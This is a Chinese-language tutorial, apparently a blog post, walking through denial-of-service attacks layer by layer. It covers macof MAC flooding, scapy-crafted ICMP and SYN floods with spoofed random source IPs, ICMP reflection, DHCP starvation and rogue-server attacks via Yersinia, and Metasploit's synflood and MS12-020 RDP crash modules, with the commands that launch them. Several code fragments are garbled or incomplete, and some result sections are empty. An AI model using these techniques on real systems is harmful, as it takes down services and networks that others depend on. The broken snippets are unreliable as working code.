拒绝服务攻击
一、数据链路层的拒绝服务攻击
方法一:攻击的工具 –macof
Usage: macof[-s src][-d dst][-e tha][-x sport][-y dport][-i interface][-n times]
root@kali:~# macof
方法二:交换机成为 “集线器”
- 构造随机MAC和IP,scapy模块中的RandMAC()和RandIP()可以很方便地实现这一点,也可以生成固定网段IP,如 RandIP(“192.168.1.*”)。
运行结果:
构造其他形式的随机包: - 数据包中包含指定的源IP和MAC,交换机会记录数据中的ARP包。
Ether(src=RandMAC(),dst=“FF:FF:FF:FF:FF:FF”)/ARP(op=2,scr=“0.0.0.0”,hwdst=“FF:FF:FF:FF:FF:FF”)/Padding(load=“X”*18)
ICMP包:
Ether(src=RandMAC(),dst=RandMAC())/IP(src=RandIP(),dst=RandIP())/ICMP()
二、网络层的拒绝服务攻击
网络层的协议包括ARP、IP和ICMP等,平时检测网络连通情况时使用的Ping命令就是基于ICMP的。
向目标连续发送这种ping的方式来消耗目标主机的资源
方法一:提高发送到目标的数据包的数量
一是同时使用多台计算机发送ICMP数据包();
二是提高发送的ICMP数据包的速度;
三是使用 随机地址 不断向目标发送ICMP包;
四是向不同的地址不断发送以受害者的IP地址为源IP地址的数据包。这种攻击模式里,最终淹没目标的洪水不是由攻击者发出的,也不是伪造IP发出的,而是正常通信的服务器发出的。
方法二:模拟出一个随机IP地址
i.src=“%i.%i.%i.%i” %(random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))
id.dst=""
send(IP(dst=“1.2.3.4”)/ICMP())
使用WireShark来捕获发出的数据包,可以看到快速地以1.1.1.1向各个地址发送ICMP请求,这个地址在收到了请求之后,很快就会向1.1.1.1发回应答。这就是第三种攻击方式。
三、传输层的拒绝服务攻击
TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的、可靠的、基于字节流的传输层通信协议。
- 基于TCP的拒绝攻击方式有两种:
一种是和目标端口完成三次握手,建立一个完整连接;
另一种是只和目标端口完成三次握手中的前两次,建立的是一个不完整的连接。
攻击方会向目标端口发送大量设置了SYN标志位的TCP数据包,受攻击的服务器会根据这些数据包建立连接,并将连接的信息存储在 连接表 中,而攻击方不断地发送SYN数据包,很快就会将连接表填满,此时受攻击的服务器就无法接收新来的连接请求了。
攻击过程
使用伪造的IP地址作为源地址,产生随机地址的方法:
pdst= “%i.%i.%i.%i” % (random.randint(1,254),random.randint(1,254),random.randint(1,254),random.randint(1,254))攻击目标时使用TCP,端口为80,将标志位设置为syn:
TCP(dport=80, flags=“S”)执行程序,将参数设置为192.168.0.116,使用WireShark捕获这些数据包:
四、应用层的拒绝服务攻击
DHCP攻击的目标也是服务器( DHCP ),怀有恶意的用户伪造大量DHCP请求报文发送到服务器,这样DHCP服务器地址池中的IP地址会很快就分配完毕,从而导致合法用户无法申请到IP地址。
同时大量的DHCP请求也会导致服务器高负荷运行,从而导致设备瘫痪。
攻击过程:
使用Yersinia,Metasploit工具:
编写一段程序来搜索网络中的DHCP服务器,只需要在网络中广播DHCP的discover数据包,源端口为68,目标端口为67:
dhcp_discover = Ether(dst=“ff:ff:ff:ff:ff:ff”)/IP(src=“0.0.0.0”,dst=“255.255.255.255”)/UDP(sport=68,dport=67)/BOOTP()/DHCP(options=[(“message-type”,“discover”),“end”])打开WireShark,并将过滤器设置为udp,执行程序:
分析得到的数据包,可以看出来网络中有一个DHCP服务器,地址为192.168.26.254。
这个程序也可以用来检测网络中的非法DHCP服务器。Yersinia进行DHCP攻击实验,这是一款图形化工具,在命令行中输入“yersinia -G”就可以以图形化界面的形式启动这款工具。
root@kali:~# yersinia -G
DHCP的攻击中一共提供了4种发包形式:
(1)sending RAW packet: 发送原始数据包。
(2)sending DISCOVER packet:发送请求获取IP地址数据包,占用所有的IP,造成拒绝服务。
(3)creating DHCP rogue server:创建虚假DHCP服务器,让用户连接,真正的DHCP无法工作。
(4)sending RELEASE packet:发送释放IP请求到DHCP服务器,致使正在使用的IP全部失效。启动Metasploit,并使用search命令来查找与DoS(拒绝服务攻击)查询使用对应的模块:
root@kali:~# msfconsole使用模块对目标进行一次SYN拒绝服务攻,使用auxiliary/dos/tcp/synflood模块来完成这个攻击。首先选择对应的模块,使用show opinions来查看这个模块的参数:
msf > use auxiliary/dos/tcp/synflood将参数设置为目标192.168.26.101:
使用exploit命令发起攻击,目标就会因为攻击而停止对外的HTTP服务。
利用目标主机上一些特定的服务进行拒绝服务攻击(微软的MS12-020的漏洞)
在Metasploit中启动对应的模块:
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids使用“show options”来查看这个模块所要使用的参数:
将目标IP地址设置为192.168.0.116:
设置完攻击目标之后,就可以对目标发起攻击,使用run命令发起攻击:如成功,会使主机down机